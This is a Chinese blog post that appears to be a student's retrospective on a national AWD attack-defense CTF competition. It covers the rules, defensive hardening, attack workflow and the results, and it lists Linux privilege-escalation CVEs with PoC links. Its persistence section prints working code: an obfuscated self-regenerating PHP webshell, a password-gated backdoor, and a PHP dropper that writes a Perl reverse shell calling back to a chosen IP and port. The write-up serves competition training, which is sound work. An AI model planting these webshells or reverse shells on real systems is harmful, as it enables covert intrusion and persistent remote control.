您當前的位置:首頁 > 遊戲

個人年度總結及AWD線下賽覆盤 拖了很久

作者:由 玄魂 發表于 遊戲時間:2019-09-22

————————————————

本文來自一個非常努力認真的同學—— JohnnySuen——的一次總結。

————————————————

個人年度總結及AWD線下賽覆盤 拖了很久

今天記錄下第一次參加某全國awd比賽後的一些感想以及學到的些許皮毛知識,也算是對自己自學了小一年的學習成果的檢驗,防守方面由W。B戰隊防守隊員記錄,其他由筆者記錄。

開頭有一小段水文警告~(不想看可以直接跳到AWD線下賽介紹)

與網安的淵源

記得初中呢會兒,就覺得駭客很酷,自己加了很多qq群,呢個時候差不多是09,10年吧,不知道我玩的時候1433抓雞算不算過時了。反正呢會兒就是拿著****hacker論壇的1433抓雞工具,搞個純真IP庫一頓掃,呢會兒算已經玩過葛X寫的某鴿子了,呢會兒很費解,不懂為什麼馬傳給對方,自己這裡不上線,後來才瞭解到原來自己所處內網,需要做埠轉發,呢個時候還是3322花生域名哈哈哈,做了轉發,對方開啟才能上線,後來又玩3389埠爆破,直到現在學了網路安全法,才瞭解到原來這都是違法的!!!到現在還心有餘悸。之後初中畢業,反正後面書也沒念好。後來只顧著減肥了,也就沒繼續學下去,也算是一個契機吧,2018年9月有幸考進了這個專業,但是自己之前沒有系統學習過,無奈那就從頭開始咯,怕什麼?反正年紀輕,在學校事情也不多,不多說就是幹!雖然一個是腦力一個是體力但是和健身原理一樣

需要準備的

還好有諸位貴人相助(輔導員們,上一屆師兄們,學校各位老師以及實習單位師父),

小的也好有條努力的方向,但是時間緊任務重19年5月份就要比賽了,所以學的真的很粗略,後續邊實踐,邊深入~

先大致學習了一下linux系統的常用指令,這個可以看下《Linux就該這麼學》,當然想詳細瞭解不怕臃腫的可以看《鳥哥的私房菜》,畢竟是經典中的經典

網路工程,至少tcp三次握手要知道,還能看得懂報文。

然後學會了上面的linux基本的常用指令,可以開始網上搜尋各種”駭客”的影片,這個別來問我拿自己想辦法吧,辦法總比困難多,這個時代想學但是沒資源,就是TM藉口!

一套影片認真看完,所謂認真是指1。5倍速播放看一遍,因為會有很多P話,然後重點以及自己記不住的地方記下來,所謂好記性不如爛筆頭

千萬別做收藏黨。。。我一開始也是這種SB,導致我5t的網盤都快被我塞爆了,所謂收藏黨就是感覺自己轉存到網盤,感覺自己吃透了這套課程的全部內容

必看書籍:道哥的白帽子講web安全,反正我到現在都沒吃透這本書,但是看書總比你看P*hub要好吧?

要會自己搭虛擬機器,自己配環境,DVWA這個靶場必須日穿,至少玩到中等難度!

最難的來了。Python,對於沒有程式設計基礎的人來說,這個語言是最友好的,感恩學校教了些許Java,抱著這一點點基礎,結合了“玄魂”大佬的教程,又重新看了天均老哥的公眾號“滲透雲筆記”,再把這些基礎例子敲完,差不多對Python的基礎語法有了些許瞭解

後續根據之前學的常見漏洞,加上自學的三腳貓的Python,學習如何寫Poc(漏洞驗證),以及Exp(漏洞利用)

程式碼審計是王道,php基本的語法學完,能看懂整個一段程式碼的邏輯,然後跟著審計幾套簡單的漏洞集合的cms,畢竟php是世界上最好的程式語言(手動滑稽)

AWD線下賽介紹

賽制和時長:

競賽為混戰模式,3 人為 1 隊。每個隊伍環境靶機 2 個,一個靶機為 PWN 考

察點,一個靶機含有多個 web 考察點,每 20 分鐘為 1 階段,共 9 個階段,第 1

階段為準備及加固階段,第 2 至第 9 階段為滲透混戰階段。比賽總時長為 3 小時。

競賽規則

1、參賽選手於比賽正式開始前憑有效證件簽到。

2、比賽正式開始後遲到 30 分鐘者不得進入比賽場地。

3、競賽期間參賽選手不得隨意離開競賽工位。

4、參賽選手自帶膝上型電腦(自帶 RJ45 網口或 USB-RJ45 轉接頭)、資料(包

5、括書籍、電子資料)及移動儲存工具。

6、比賽過程中發現問題,應當示意裁判組,由裁判組進行解答。

7、比賽過程中不允許任何引數選手攜帶通訊裝置,需統一上交進行管理,

不允許任何人透過任何形式進行上網。

8、參賽隊伍必須保證防守機持續正常執行,保持特定服務或埠處於持續

正常服務狀態,對漏洞的修復不得影響服務的正常功能。

9、禁止任何對比賽相關平臺的暴力破解和攻擊,禁止對本平臺進行重放數

據包攻擊,限制頻率為 10 次/1 秒,禁止 DDOS、ARP 等干擾比賽正常進行的

攻擊,禁止任何針對參賽對手的網路攻擊行為,違規者一律取消參賽資格並

進行公示。

10、除參賽選手及大賽賽場工作人員外,其餘人員一律不得進入賽場。

11、禁止進行限制其他隊伍攻擊己方防守機的配置,或者限制訪問 FLAG 服

務器(例如,修改防守機到 FLAG 伺服器的路由等),違規者一律取消參賽

資格並進行公示。

12、比賽過程中不能相互交流,禁止參賽隊伍之間分享任何解題思路及 FLAG,

違規者一律取消參賽資格並進行公示。

13、比賽中裁判有可能抽查獲取得分點的方法,如果發現回答有誤,疑似非

法渠道獲取答案的,取消其該項得分,嚴重者取消比賽資格並進行公示。

14、公平起見,只有當沒有任何參賽隊伍解出某題的時候,裁判組才可能發

放相關提示,解題提示資訊請關注競賽公告。

15、競賽結束(或提前完成)後,參賽選手不得進行任何操作。

16、比賽過程中,請服從和配合裁判和現場工作人員的相關安排。

17、如有其它違規行為,組委會及裁判組將酌情進行相應的處罰措施。

18、其他事項由組委會裁判組在比賽前一天進行公告及通知。

攻防對抗賽評分規則

攻防對抗題總得分=初始分值+攻擊得分-被攻擊失分-服務異常扣分-重置防

守機扣分

1、攻防對抗題初始分值為 8000 分。

2、參賽隊伍攻擊其他隊伍防守機並獲得許可權後,可訪問平臺 flag 生成地址

(curl

http://

192。168。100。1/Getkey

)獲得 flag。

3、比賽每 20 分鐘為一個階段,同一階段內只能提交同一隊伍的 flag1 次。

4、flag 有效期為 60s,獲取後儘快提交。

5、flag 提交成功後,滲透成功 1 個靶機得分 5 分,2 個靶機得分 10 分。

6、check 機制定時對所有防守機進行探測,探測業務可用性,服務可用性。

每輪次比賽,最多扣 400 分(防守機任意應用服務異常,則觸發扣分機制,

比賽平臺答題頁面會實時提醒防守機異常狀態)

7、參賽隊伍可請求裁判重置本方防守機,每重置一個虛擬機器,扣除 50 分(注

意:重置後,之前所有的加固策略及攻擊方的後門皆失效,所以防守機恢復

到初始狀態)。

團隊分工

基本上都是3人為一組,純web組兩人攻擊一人防守,如果有pwn手的話,web一攻一防,pwn一個人

防禦篇

一、AWD防守隊員需具備的基礎知識和防禦關注方向:

前期需要對於php、sql、html、css、python等語言有基礎知識,最好能做到看得懂,分析得 了,建議掌握一門python語言以便指令碼的編寫,在防禦方面python指令碼編寫也可以實現一系列的自動化,這個後面會詳細闡述。

對tcp/ip協議、http、https需要有所瞭解。網路攻防,是架構在網路上的,我們的隊員要知道網路是如何通訊的,三次握手、四次揮手。

由於awd比賽很多都是lamp環境下的(linux、apache、mysql、PHP)所以熟練的使用linux系統基本命令也是很重要的,對於bash指令碼編寫也是需要知曉的。

由於AWD比賽時間較短節奏較為緊張,為了達到比賽的觀賞性,主辦方提供的cms原始碼中都會預置漏洞,主要出現的就是原始碼中預留的webshell、典型的檔案上傳漏洞、後臺弱口令(這個是真實滲透中最容易出問題的地方,雖然對於awd來說對拿到shell許可權幫助不是很明顯)、passthru()函式利用、還有目錄穿越漏洞、sql注入上述是經常在awd比賽中出現的,也是我們防守隊員需要關注的點。

除此之外,我還建議各位防守隊員自己能經常搭建各種cms,手裡多留幾套cms,一旦比賽遇到可以用BeyondCompare工具對比分析,還可以對比cms的漏洞,比自己比賽場上挖洞還是效率很多的,自己留有cms也可以在原始碼找不到的時候利用find命令查詢到原始碼位置,在19年8月的決賽中就遇到有一套cms在/usr/share/nginx/html裡,我就是利用自己提前準備的cms對比查詢,給團隊第一時間找到了預留webshell,穩固了團隊的排名。

二、防守流程詳解:

連線ssh,這裡建議使用mobaXterm,集ssh和ftp工具於一體的神仙工具。連線完ssh,如果發現是弱口令或者統一的口令,應當立刻修改ssh密碼。筆者於2019年6月的初賽中就在此處吃了虧,修改ssh密碼的速度比不過指令碼,比賽前兩個小時等於盲打,慘痛的教訓啊,劃重點!!!

打包原始碼,我個人習慣是利用tar -zcvf xxx。tar。gz /路徑,原始碼備份一是可以分析原始碼找木馬,二是可以做備份謹防被人刪庫導致down機持續被check扣分。

把原始碼download至本地,解壓後,拖進D盾進行掃描(這一步360也可以掃,甚至會爆出更多疑似後門檔案),這一步既能作為查詢官方預留webshell的方法,也可以做後期攻擊分析無奈時的最原始的暴力方法(遇到不是寫一句話木馬的就無效了)。

資料庫備份也必不可少,這一步要先看資料庫配置檔案,對於我們這套cms的資料庫名、資料庫賬號、資料庫密碼,然後利用mysqldump的語句進行備份。這一步是為了防止被人刪除或者修改資料庫內容導致網頁不能正常使用,被check機制扣分。

資料庫進入以後可以檢視後臺密碼,這個大機率是全場一樣的弱口令,你也可以在web上掃描後臺然後進入後弱口令嘗試,登陸後修改密碼。也可以提前準備好,根據加密方式的不同的hash,基本上是一段mysql的hash,然後你替換掉,密碼就修改成你準備好的了。

按照我的習慣,這一步是先在upload目錄下,上傳一個檔案監控指令碼,然後命令列cd /路徑/,然後ls看一下,然後python linux。py,這邊所有上傳的檔案都會被移位和改名了,這裡要注意許可權,有時候會有外部訪問的許可權,我們就手動的給這個資料夾chmod 600一下就好了。

這一步我推薦安裝一下weblogger-master指令碼,具體安裝方法github有,原始碼也在github上。這個指令碼呢是進行ip記錄和分析的,對於流量分析來說極為重要,可以把攻擊溯源。

還建議大家再準備一個寫日誌的php,我這裡使用logger。php,網上有很多類似的logger可以嘗試一下並使用。在生成的日誌裡,可以對於關鍵字搜尋,就可以知道大佬是怎麼從你這裡得分的,可以騎馬上馬利用一波大佬的馬,也可以學大佬一樣利用漏洞,這裡建議分析完交給攻擊隊友,你的任務還是防禦,要第一時間把洞補掉。

在linux環境下,要注意許可權的管理,對於給定情況,可以賦予644、755許可權,自己用的工具要給755,給web使用者的給644許可權。這裡也解釋一下644、755,644代表所有者有讀取、寫入許可權、同組使用者和其他使用者僅有讀取許可權,755代表所有者有執行、寫入、讀取許可權、同組使用者和其他使用者有讀取、執行許可權。

防守隊員也可以透過使用這條命令find /var/www/html -exec touch -c -m -t 202201110000 {} ; 來實現對於/var/www/html路徑下的原始碼進行批次修改未來時間,在mobaxterm左邊的介面就可以清晰的看到,哪些檔案有時間變化,這裡的路徑只是針對大多數常規原始碼,在藍帽杯決賽中,其中web伺服器中有三套cms,對於第二套cms的原始碼就不是這個位置,在/usr/share/nginx/html,像wordpress搭建的網站,web目錄、後臺也不太一樣,利用御劍還需要匯入不一樣的字典,wordpress的後臺如果沒有修改過的話應該是

http://

site/wp-admin

防守隊員需要多關注比賽分數變化,一旦被扣分,就可以檢視檔案時間有異樣的目錄進行分析,也可以在自己寫的log檔案中進行搜尋關鍵字如(flag、cat、curl),一旦分析出攻擊方法便可提供給隊友,再分析流量便可知道是哪個ip攻擊的我方伺服器。這裡的分析分為幾種情況,要分情況進行決策。

三、關於被攻擊後如何加固防護並加以利用:

發現攻擊方透過webshell進行攻擊的,需要迅速定位webshell檔案先下載到本地隨後將伺服器上的迅速刪除,分析該webshell,最好能做到利用該攻方大佬偷襲一波全場。

如果是發現有檔案有shell執行許可權,應當進行修改,把shell執行的地方進行刪除並require_once(‘/waf的路徑/waf。php’);這裡的waf建議準備幾個各種強度的,因為比賽中check機制不同,透過上waf進行測試,如果沒有被check扣分就繼續使用,如果扣分了就強度減弱。

如果發現是檔案上傳漏洞進來的,雖然我們有linux。py檔案上傳監控指令碼,但是也不排除它能夠成功執行,這時候可以測試upload。php刪掉是否會被check,可以選擇直接把upload。php刪除,在web上,像上傳這類操作執行都會有一個php來進行解析執行,所以一旦沒有這個php外部就沒有辦法進行上傳操作。不僅要自己防禦,這時候還要告訴負責攻擊的隊友進行利用上傳漏洞,或者利用他們上傳好的馬進行騎馬上馬偷分打全場。

如果發現是利用passthru方法獲取flag的,也可以利用搜索我們自己指令碼寫的log檔案進行search,查詢到關鍵字的位置,進行溯源分析。

一旦發現有。。/。。/目錄穿越的方法,可以選擇進行許可權修改600,並上傳waf進行防護,關於waf被check扣分前面已經闡述了方法。

我還在比賽中見過從資料庫中寫入進行cat /flag的,這裡首先需要有後臺許可權,我們當時是後臺密碼被人修改了,他從後臺往資料庫裡寫入進行執行的,這時候就可以立馬透過ssh工具介面進行mysql後臺密碼hash更換的方法進行修改後臺密碼,這時候要注意很多攻擊方法都是批次(或者手動一個個打過來),攻方並不會針對你一個,他的目的是得分,所以很多人那邊他都會進行一樣的操作。

還有sql注入漏洞,sqlmap可以利用sql注入跑出很多資訊,所以在sql注入點,可以透過刪除搜尋所使用的php(注意別被check扣分),如果扣分則可以選擇進行require、include包含一下waf進行軟waf防護。

防禦後記

最後就是在awd比賽中瞬息萬變,防禦篇冗長但也不能囊括所有可能遇到的突發狀況,所以我建議把基礎知識和防禦關注方向這邊瞭解深入,從基礎著手,以不變應萬變,只有有著良好的基礎才能更好地進行突發情況處理。不僅要有良好的基礎,較多的實際操作也至關重要,像ctf給我最深的感受就是看一百遍不如做一遍,程式設計也是一樣,自己編和啃書啃部落格完全不能比擬,基礎知識很重要,但是實踐也很重要,你找一個網路通訊基礎紮實的理論派,真面對問題他也只能分析,可能到頭來連burp都用不來。空學費時,實踐才能牢牢掌握ctf技能。本文只是我的一些理解,可能存在不準確的地方,往大佬能指出,分享也是一種進步,Open、Free、Share才是真·駭客精神。

防禦篇由W。B戰隊防守隊員撰寫

攻擊篇

準備批次改ssh弱口令指令碼,畢竟還是會有想法很簡單的主辦方設定這個作為考點

登陸flag提交平臺burp抓包,對應burp抓到的報文資訊,寫批次提交flag的指令碼

拿到原始碼,程式碼審計放進去一把梭,別管呢麼多~

這裡就提到之前為什麼讓大家收集更多的cms的poc了,因為這種大型比賽基本上都是之前比較經典的cms環境+主辦方自己魔改的漏洞點+預留後門

原始碼順便放D盾,掃一波預留後門,因為awd的比賽環境是每個都一樣的,放的預留webshell路徑也是一樣的,這步可以讓防禦的兄弟做,掃出來直接把路徑報給你,這樣你只需要專注寫批次EXP就完事了

黑盒測試,對常見的功能點進行測試,比如:註冊,登陸後是否有頭像上傳處,找各種上傳點。搜尋框等,測試是否存在sql注入,萬能密碼,是否存在命令執行,程式碼執行等等…。

找到漏洞點,直接用python寫批次exp,這就涉及到前面提到的python基礎了,別特麼說不會,不會就死磕,幹就完了,之後我也會寫一篇,關於如何在比賽中高效針對poc寫批次exp

準備些提前寫好的指令碼,這些GitHub上都能搜,自己找自己測試,不要覺得麻煩,這是必經之路,我也不可能給你講解別人寫的指令碼。我給的肯定沒有你自己找來測試的好用

對於小白,個人建議和防守的童鞋多溝通,因為還是有大佬的存在,讓防守的同學做好流量分析,檔案監控分析,比如別人打進來的流量,可以直接寫exp利用,別人打進來的馬,可以直接用工具爆破密碼或者看明文,騎馬上馬,進行反攻!

攻擊後記:只要還是對漏洞的原理理解,以及快速定位各功能的漏洞點,重中之重還是快速編寫EXP的能力,程式設計是基礎,也是王道!

許可權維持篇

主要有兩種,一種是“不死馬”,另一種是反彈shell

“不死馬”

<?php

set_time_limit(0);

ignore_user_abort(true);

$file = ‘。demo。php’;

$shell = “<?php $_hR=chr(99)。chr(104)。chr(114);

$_cC=$_hR(101)。$_hR(118)。$_hR(97)。$_hR(108)。$_hR(40)。$_hR(36)。

$_hR(95)。$_hR(80)。$_hR(79)。$_hR(83)。$_hR(84)。$_hR(91)。$_hR(49)。$_hR(93)。$_hR(41)。$_hR(59);

$_fF=$_hR(99)。$_hR(114)。$_hR(101)。$_hR(97)。$_hR(116)。$_hR(101)。$_hR(95)。$_hR(102)。$_hR(117)

。$_hR(110)。$_hR(99)。$_hR(116)。$_hR(105)。$_hR(111)。$_hR(110);

$_=$_fF(”“,$_cC);@$_();?>”;

//$_hR=‘chr’

//$_cC=‘eval($_POST[1]);’

//$_fF=‘create_function’

while(true){

file_put_contents($file, $shell);

system(‘chmod 777 。demo。php’);

touch(“。demo。php”, mktime(11,11,11,11,11,2018));

usleep(50);

}

?>

利用預留後門,上傳上面的“不死馬”並訪問,就會一直生成。demo。php的一句話木馬,木馬內容可以自行修改,只要別被其他隊伍看懂就行。

檔名前加一個點,能更好地隱藏檔案

想要結束這個程序,除了最暴力的重啟服務之外,更為優雅的如下:

<?php

while (1) {

$pid=1234;

@unlink(‘。demo。php’);

exec(‘kill -9 $pid’);

}

?>

先檢視程序,檢視對應的pid,再執行即可。

md5馬+header:

<?php

echo ‘hello’;

if(md5($_POST[‘pass’])==‘d8d1a1efe0134e2530f503028a825253’)

if (@$_SERVER[‘HTTP_USER_AGENT’] == ‘flag’){

$test= ‘flag’;

header(“flag:$test”);

}

?>

放進config。php,或者index。php效果最好,因為一般很少人去看這個。

反彈shell:

<?php

function which($pr){

$path = execute(“which $pr”);

return ($path ? $path : $pr);

}

function execute($cfe){

$res = ‘’;

if ($cfe){

if(function_exists(‘exec’)){

@exec($cfe,$res);

$res = join(“\n”,$res);

}

elseif(function_exists(‘shell_exec’)){

$res = @shell_exec($cfe);

}

elseif(function_exists(‘system’)){

@ob_start();

@system($cfe);

$res = @ob_get_contents();

@ob_end_clean();

}

elseif(function_exists(‘passthru’)){

@ob_start();

@passthru($cfe);

$res = @ob_get_contents();

@ob_end_clean();

}

elseif(@is_resource($f = @popen($cfe,“r”))){

$res = ‘’;

while(!@feof($f)){

$res 。= @fread($f,1024);

}

@pclose($f);

}

}

return $res;

}

function cf($fname,$text){

if($fp=@fopen($fname,‘w’)) {

@fputs($fp,@base64_decode($text));

@fclose($fp);

}

}

$yourip = “127。0。0。1”;

$yourport = ‘9999’;

$usedb = array(‘perl’=>‘perl’,‘c’=>‘c’);

$back_connect=“”;

/*

base64加密內容如下:

#!/usr/bin/perl

use Socket;

$cmd= “lynx”;

$system= ‘echo “`uname -a`”;echo “`id`”;/bin/sh’;

$0=$cmd;

$target=$ARGV[0];

$port=$ARGV[1];

$iaddr=inet_aton($target) || die(“Error: $!\n”);

$paddr=sockaddr_in($port, $iaddr) || die(“Error: $!\n”);

$proto=getprotobyname(‘tcp’);

socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die(“Error: $!\n”);

connect(SOCKET, $paddr) || die(“Error: $!\n”);

open(STDIN, “>&SOCKET”);

open(STDOUT, “>&SOCKET”);

open(STDERR, “>&SOCKET”);

system($system);

close(STDIN);

close(STDOUT);

close(STDERR);

*/

cf(‘/tmp/。bc’,$back_connect);

$res = execute(which(‘perl’)。“ /tmp/。bc $yourip $yourport &”);

?>

利用預留後門上傳上面的php檔案並訪問,就可以用nc反彈shell,之後就可以一直得分了

許可權維持後記: 以上許可權維持篇是之前自己收藏大佬寫的,比賽當中因為菜,沒來得及做,也正是如此導致,前期我們的優勢並沒有利用好!所以這裡建議,在做好攻擊的同時下一步就是馬上做許可權維持!最好搞個一條龍的EXP,思路:上馬-在上的馬上執行許可權維持指令碼或命令

提權篇:

在AWD中,一般都需要專門防禦加固自己伺服器的環節,但加固的很多操作都會涉及到root許可權,如果直接給root許可權最好,但一般只會給一個普通許可權賬號,這時候往往就需要給伺服器提權了。關於提權,通常我們要根據kernel版本號找到對應的poc,平時我們可以收集測試一些比較新的提權poc,以備不時之需。

Linux_Local_Root_Exploits :這網站收集了許多linux本地提權的poc。

Linux-kernel-exploits(github) :一個挺全的提權exp專案,收集了04年至今的exp,並按年份和CVE歸類

下面分享幾個最近兩年並且影響範圍比較大的:

CVE-2017-6074 (DCCP雙重釋放漏洞 > 2。6。18 ) :DCCP雙重釋放漏洞可允許本地低許可權使用者修改Linux核心記憶體,導致拒絕服務(系統崩潰)或者提升許可權,獲得系統的管理訪問許可權

CVE-2016-5195(髒牛,kernel 2。6。22 < 3。9 (x86/x64)) :低許可權使用者可修改root使用者建立的檔案內容,如修改 /etc/passwd,把當前使用者的 uid 改成 0 即可提升為root許可權

CVE-2016-8655(Ubuntu 12。04、14。04,Debian 7、8) :條件競爭漏洞,可以讓低許可權的程序獲得核心程式碼執行許可權

POC:

https://www。

seebug。org/vuldb/ssvid-

92567

CVE-2017-1000367(sudo本地提權漏洞 ) :Linux Kernel Stack Clash安全漏洞。該漏洞是由於作業系統記憶體管理中的一個堆疊衝突漏洞,它影響Linux,FreeBSD和OpenBSD,NetBSD,Solaris,i386和AMD64,攻擊者可以利用它破壞記憶體並執行任意程式碼 。

CVE-2016-1247(Nginx許可權提升漏洞) :Nginx服務在建立log目錄時使用了不安全的許可權設定,可造成本地許可權提升,惡意攻擊者能夠藉此實現從 nginx/web 的使用者許可權 www-data 到 root 使用者許可權的提升。

POC:

https://

legalhackers。com/adviso

ries/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247。html

收集了一些提權的指令碼工具集,可作參考:

https://

github。com/edwardchoijc

/ctf-toolkit/Linux/getROOT

比賽覆盤

南京初賽

客觀因素,比如某某信主辦方真的是不會辦比賽,初賽時因為弱口令,美其名曰“考點”,但是確實對我們這種第一次上場的小白,相當不友好,初賽上場就被大佬隊改了ssh服務密碼,導致幾乎全場ssh都上不去,比三個小時,足足停了1個小時,呢會兒初賽真的亂得一塌糊塗,當然主觀方面還是得承認自己準備得不足,沒有很充分,歸根結底是自己菜

後來賽方重啟了服務吧,把口令都改成強口令了,比賽才能繼續進行,這個時候大佬隊遙遙領先,根本追不上,加上呢會兒還不會針對挖到的漏洞寫exp,上了馬只能一個一個手動拖,還好呢會兒我們手速快,畢竟實力單身20多年,我們連上ssh把原始碼拖d盾一掃,然後用之前上一屆師兄留下的“傳家寶”指令碼,很快透過預留webshell,打了一批不死馬進去

然後一臺一臺機器,拿蟻劍連,連上了執行getflag的命令,我眼睛都快花了,還好比賽快結束了

運氣還是非常不錯的,我們第一次參賽沒有被淘汰,狗進了決賽

北京決賽

客觀因素,還是一樣的主辦方,還是一樣的不會辦比賽,巧的是我這次準備了ssh批次改弱口令,並且搞定了針對挖到的漏洞,寫批次exp。。嘿,你說氣不氣,上場還是一樣的ssh連不上,這次還是被弱口令搞了嘛?

不是哦,這次是他們帶我們入場時沒有按照之前配的交換機,路由編號就坐,導致了除了1隊2隊以外,其餘的隊伍,ip都混亂了。。場面再一次陷入尷尬

等了差不多也是一個小時多點,終於能上ssh了,但是這個時候之前第一支隊伍和運氣好能連上的隊伍,已經差不多把預留webshell,功能點都測試完了

還是憑藉傲人的手速,對著上述攻擊步驟,很快寫出批次提交flag的指令碼,然後我的隊友戴哥把預留馬利用指令碼加上我的批次提交flag指令碼,加上防守隊員曉航堅不可摧的金鐘罩,一路衝到第四名。。

但是天有不測風雲,主辦方這次搞了個check機制,好像是隻要上waf的,就被判down,扣100分,我們隊發現了這個情況,很快就把waf撤了,所以只扣了200,其他大佬隊沒有關注,只關注了pwn,聽說後面pwn伺服器也連不上了哈哈哈哈

後來pwn服務恢復了,大佬隊究竟是大佬隊,pwn我們都沒去管,導致了最後pwn失分嚴重,而且比賽到中後期,該刪的馬,該補的洞都補完了,已經想不出有辦法攻擊了

我們最忽視的一個點就是許可權維持,之前打進去的不死馬,都沒做許可權維持,都被刪掉了。我們自己隊伍之間用來通訊交流的馬又出現了問題,不能用。簡直無能狂怒阿

最後還是狗到了第12名,混了個全國二等獎,也有幸能和北郵天書這樣的大佬隊同臺競技,真的感覺相當好

————————————————

本文 作者享受 “玄說安全” 內部圈 原創文章補貼 100元。

“玄說安全”內部交流圈參考:“玄說安全-入門圈”簡介(2019)

免費交流圈“玄說”加入方法:玄魂工作室第一個免費的知識星球——“玄說”對外開放

無線安全系列 1。3 熟悉Wi-Fi攻擊工作流程

個人年度總結及AWD線下賽覆盤 拖了很久

標簽: HR  許可權  比賽  PHP  漏洞